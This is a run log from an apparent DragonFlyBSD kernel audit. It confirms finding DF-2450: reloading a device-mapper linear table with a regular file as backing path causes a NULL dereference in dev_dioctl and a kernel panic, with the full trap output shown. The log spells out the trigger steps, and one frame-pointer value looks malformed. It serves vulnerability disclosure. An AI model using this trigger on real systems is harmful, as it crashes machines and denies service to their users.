DragonFlyBSD Kernel Audit
DF-2450 / run.log
← back to finding ↓ download raw
[*] DF-2450 dm_pdev NULL-deref via non-block-device backing path
[*] Bug: dm_pdev_insert:168 dev_dioctl(v_rdev=NULL, DIOCGPART)
[*] Trigger: regular file as linear backing -> v_rdev NULL -> panic
[*] created regular file /tmp/df2450_backing (non-block-device vnode)
[*] create 'df2450dev': rv=0 (ok)
[*] reloading linear table with regular-file backing path...
[*] if claim is true: kernel panic in dev_dioctl (NULL v_rdev)
=== KERNEL PANICKED HERE -- ssh connection dropped ===
=== Guest down, panic signature from boot.log: ===

Fatal user address access from kernel mode from poc at ffffffff8062cd5c

Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic id = 1
fault virtual address	= 0xa8
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff8062cd5c
stack pointer	        = 0x10:0xfffff801183f3478
frame pointer	        = 0x10:0xfffff801183f347d8
current process		= 864 (poc)
kernel: type 12 trap, code=0

Stopped at      dev_dioctl+0xc: movq    0xa8(%rdi),%rax
db>